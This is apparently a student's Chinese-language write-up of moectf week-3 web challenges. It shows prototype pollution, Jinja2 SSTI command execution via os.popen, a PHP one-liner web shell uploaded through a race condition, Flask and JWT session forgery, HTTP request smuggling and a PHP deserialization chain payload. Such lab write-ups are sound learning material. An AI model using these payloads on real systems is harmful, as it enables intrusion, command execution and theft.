moectf-week3
礼崩乐坏
JavaScript原链型污染 题目信息:
1 | 我听闻,从前管束子弟,有家法、有规矩、有祖宗传下来的章法。做父亲的教儿子,做兄长的带弟弟,一代一代,都守着本分。可如今呢?家法松了,规矩淡了,晚辈做什么,长辈也未必看得住。 |
这题又是原链型污染,相较于上次做了一次升级。
先补充一些知识点
JavaScript原型链污染
Node.js - __proto__ and Prototype Pollution
了解到 JavaScript 中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义。JavaScript 中每个对象拥有一个原型对象。
当一个对象自身没有的属性会向“原型”进行查找。
普通 {} 对象通常会有一个原型,而这个原型就是 Object.prototype。
例如:
1 | const a = {}; |
那么这里的 a.school 就是 GDUT。
再利用 JavaScript 中的 constructor
Object.prototype 本身具有一个 constructor
1 | // 新建一个空的对象k |
constructor 这个属性本身的值,就是创建这个对象的“构造函数”(Object)。
那么这就相当于提供了一个入口来修改原型数据。
回到实战
JavaScript Prototype Pollution
先尝试上传
这里题目配置值仅允许布尔值、数字、短字符串或 null,不能直接提交一个对象,得写成一个类似属性一样的东西进行提交。
由题目信息可以得知,如果使用上次的键名__proto__直接修改admin属性的话会被直接拦截。
那么我们创建一个新的空对象foo来对其进行修改
最后回去 GET /api/flag 即可得到本体的 flag
moectf{wh3n_r1t35_f4ll_pr0707yp35_ru13}
bblogin
Flask + Jinja2 题目信息:
1 | 管理员做了个简单的系统来保护自己的小秘密,非常安全! |
本题给的是一个登录的网站,同时也给出了 app.py。
1 | import sys |
从这个引用的库来看,特别像是 SSTI,因为 render_template_string 默认模板引擎就是 Jinja2。
1 | app.secret_key = secrets.token_hex(32) |
这里的管理员密码是随机生成的 64 位 hex,基本可以说无法爆破了。Flag 看起来存在于变量 Rea1f1Agg999mjytredcvbhjytredf 中,这里还有一个闭包需要了解。
再来看看登录逻辑
1 |
|
先补充一下知识点(SSTI)
hello-ctf/ssti
HackTricks/SSTI
和 SQL 注入的题目一样也是具有数据传输的可利用点(像是登录页面,信息查询页面),通过传入特定格式的字符串来注入服务器中执行获取信息。
以 Jinja2 举例,Jinja2 在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,所以当我们传入 {{表达式}} 时,表达式就会被渲染器执行。
我还发现有个ssti-map,又可以当脚本小子了吗?😁
一般流程是要先识别引擎
再进行注入攻击
回到实战
本题根据源码来看基本可以确认是 Jinja2 了
我们这边尝试 {{7*7}} 进行验证。
1 | 用户<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '5a14c5195a600c26e4e4a1b60f737aaf0b2ed08b809b93e8672c9d2b35ba289d', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True}>登录失败 |
这里直接暴露了 SECRET_KEY,这里又回到了前面学过的 flask 签名来伪造身份。 已知 SECRET_KEY 就可以生成一个伪造的 Flask Session Cookie。
1 | flask-unsign --sign --cookie "{'token': 'admin'}" --secret "5a14c5195a600c26e4e4a1b60f737aaf0b2ed08b809b93e8672c9d2b35ba289d" |
得到 eyJ0b2tlbiI6ImFkbWluIn0.apu_wA.xbcCYWRJt8nZs4-9agDkAgxdCYk
使用 burpsuite 进行提交
moectf{42b7b005-4fc5-d01d-68bd-0412c05e67a7}
我刚一提交就发现了三个问题
竞争提交 题目信息:
1 | 我在你们这才交了几个文件,我已经发现三个问题了: |
打开时一个提交作业的网站,按着题目说的去做上传文本看看惊喜是个啥。也是直接就拿到flag了好吧,轻松拿下。
这里给了个假的flag,然后还有一个路径,访问可以直接看到提交的内容。
这个木马上传的话就让我想到了会不会是一句话木马之类的。
随后我上传了 php 的文件,但是会被直接删除导致 NOT Found。
想尝试一下后缀绕过也是不行(php4)
随后我又发现一个有意思的事情,如果我上传的是那个惊喜的文本,发现php文件又不会被删掉了。
那么这个应该就是一个突破点。
这个时候我尝试直接在文本后面加上
1 | <?php system('cat /flag');?> |
如果按照题目所说,这个木马文件应该是可以被上传上去的,但是被很快删除了。
那么我猜测如果我手速够快,或者说写个脚本来访问那个路径那岂不是可以运行木马脚本了?
1 | import requests |
最后读取到flag
1 | moectf{h0t_$0y_m!1k_ha5_n0_$+raw} |
旧能源管理系统
SSTI 无回显盲注
这题难度很高啊
给的是一个登录界面,还有网站源码app.py
1 | import secrets |
看这个引用库,看来又是 Jinja2 类型的漏洞利用。
不过这题直接 {{config}} 是没用的。
那还是得认真看看源码先。
1 | def index(): |
看来问题出在这里,它这里如果登录失败的话只会直接回显 status 即”登录失败”,那么是不能够从登录失败回显的信息中获取敏感内容的。
不过由于源码中没有过滤的操作,猜测输入进去的 {{}} 代码是可以被 render_template_string 渲染并执行的。
其实一开始我也不确定是不是真的被执行了,后面想到可以效仿 SQL 时间盲注的方式就比较直观且简单。
Hello-CTF Jinja 备忘录中有许多的 shell_ 可以直接使用
1 | {{config.__class__.__init__.__globals__['os'].popen('sleep 5')}} |
过了5秒钟才提示登录失败,说明是可以被执行的。最主要的问题还是执行脚本后没有反馈信息。
那么这就是一个无回显盲注的问题了,
CSDN CTF题型 SSTI
jinjia2无回显SSTI
Flask入门
在Flask中,默认情况下,静态文件存储在应用的static目录下,并通过/static/前缀访问,我尝试过如果保存在其他的路径的话无法访问,输出数据这种静态数据还是得存在/static这种flask默认的静态文件目录下。
我的想法是,用 Python 中的 os 模块将最有可能放flag的环境变量输出到/static/env.txt
1 | {{config.__class__.__init__.__globals__['os'].popen('env > static/env.txt').read()}} |
其中 env > static/env.txt 利用了Shell的重定向输出
最后访问 static/env.txt 路径得到flag。
moectf{c523c72c-fb42-df3b-f1fb-69813666902c}
黑市走私
http request smuggling 这题虽然简单,但花了我不少时间,主要是有很多细节的问题需要注意。
知识点补充(http smuggling)
Hello-CTF/HTTP Request Smuggling这题其实看完这个就已经能做出来了。
走私的原理是这样的,向服务器发送请求包,但是前后端认为的请求包长度不同,把两个不同的请求放在了同一个 TCP 连接中从而可以导致smuggling。
关键在于 Content-Length,Transfer-Encoding 注意的点是走私体要放在 Body 板块,所以第一个块得是 POST 才能成功。
JWT(JSON Web Token)
这里还是要区别一下之前见到过的 Flask Session Cookie
| 对比项 | Flask Session Cookie | JWT |
|---|---|---|
| 数据格式 | Python 字典(Pickle/TaggedJSON 序列化) | 标准 JSON |
| 签名算法 | HMAC-SHA1(默认) | 可配置(HS256、RS256 等) |
| 签名库 | itsdangerous |
PyJWT / jose |
| 传递方式 | 只能放在 Cookie 里 | Header、Cookie、URL 参数都行 |
| 标准 | Flask 框架私有 | IETF RFC 7519 |
| 爆破工具 | flask-unsign | jwt_tool/hashcat |
这个学习过程中还发现 burpsuite pro 可以先主动扫描网页漏洞的,这样在题目没给这么多提示的时候也有可能知道有哪些可利用的漏洞点了。
回到实战
访问 /hint 页面得到本题的提示信息
那么很明显得先爆破出来秘钥,直接使用别人写好的脚本。
1 | import hmac, hashlib, base64 |
直接找出秘钥是 fish,再对其进行签名伪造。

1 | import base64, hashlib, hmac, json |
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0cmF2ZWxlciIsInJvbGUiOiJhZG1pbiIsInNjb3BlIjoiZmxhZ3MifQ.EQmuoZNLf5aUF-WJ1MdjUFZJgPilOkgJRjXawdvIooI
回到 flag1
提示的很明显,要用 CL.TE,带上票据直接开始。
第二个也特别明显,就是TE.TE
3d_http_5mu6g1!n6}
那么合起来就是
moectf{Y0u_have_m4r3d_http_5mu6g1!n6}
七狗收费小说
PHP审计 + PHP反序列 这题主要还是需要理解 PHP 代码的执行,看的有点头晕。 题目信息:
1 | 小刻想把自己的小说库改成收费的,这样就可以赚钱买更多的蜜饼吃啦。所以小刻自学了 Git 和 PHP,刚刚做了个半成品的登录页面。但是,小刻缺少一个 CTFer 的警觉,她把仓库直接放到了生产环境,居然还信任前端传来的任何数据。作为一个 CTFer,你和小刻打赌,如果你找不出小说库的漏洞,就要请她吃一个月的蜜饼……(环境为 PHP 8.2) |
点开又是经典的登录界面
使用 Githack 看看泄露信息。
点开是一个 index 的源码文件。
Hello-CTF PHP代码审计
CTF-WEB:PHP 反序列化
PHP 分析
先读一下看看这个 PHP 代码中有些什么内容。
目标肯定是要登录或者说获取最高权限,然后再 cat /flag.
从目标入手,先看看有关系统命令执行的代码。
1 | class Diagnosis |
如果程序访问了不存在的属性,触发 __get,它就会把 action 当作函数调用。
1 | class UserInfo |
如果 $this->user 是 Diagnosis 对象,它是没有 username 的,那么去拿 username 就会触发 __get。
1 | public function __destruct() |
只要脚本结束,$this->username 如果是 UserInfo 对象,就会触发 __toString。
那么说白了最后的重点就是在于 user 对象如何构造。
1 | if (isset($_POST['username']) && isset($_POST['password'])) { |
那么这题就需要我们按着这个 PHP 的逻辑写一个生成 cookie 的脚本再提交上去。
撰写 PHP 生成 Cookie
这个题目特别复杂还是一步步来吧。
首先先定义一下需要的类,这些都是源码中有的且需要的。
1 | class User { |
触发 __get
1 | $Makeget = new Diagnosis(); |
触发 __tostring
1 | $info = new UserInfo(); |
触发 __destruct
1 | $user = new User(); |
最后进行加密输出 cookie
1 | $serialized = serialize($user); // 变成字符串 |
最后运行 php 生成 cookie,用 burpsuite 发送出去
1 | Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtPOjg6IlVzZXJJbmZvIjoyOntzOjQ6InVzZXIiO086OToiRGlhZ25vc2lzIjozOntzOjM6ImtleSI7czo4OiJ1c2VybmFtZSI7czo1OiJ2YWx1ZSI7czo5OiJjYXQgL2ZsYWciO3M6NjoiYWN0aW9uIjtPOjk6IkRpYWdub3NpcyI6Mzp7czozOiJrZXkiO3M6MDoiIjtzOjU6InZhbHVlIjtzOjA6IiI7czo2OiJhY3Rpb24iO047fX1zOjEwOiJwZXJtaXNzaW9uIjtzOjg6Iuadg+mZkCAwIjt9czo4OiJwYXNzd29yZCI7cjoyO3M6ODoic2VjcmV0X2EiO2k6MDtzOjg6InNlY3JldF9iIjtSOjEyO30= |
moectf{ab28b6fc-048b-9e42-739e-5f873a3a6158}
巧乐兹(未出)
题目信息
1 | 某公司的内部公告板系统,里面只有一条公告 |
这个可以自行登录注册的,然后还使用了 SQLite,目前没啥思路,题目是让我联系管理员小D。
这个发新帖可以用 html,不知道是否有用。
sqlite注入的一点总结
GHCTF 2025 sqlite注入
猜测应该也是在输入框中传数据像 SQL 注入那种执行命令获取信息。
最后这两题那就丢到week4吧,后面再战。😋



















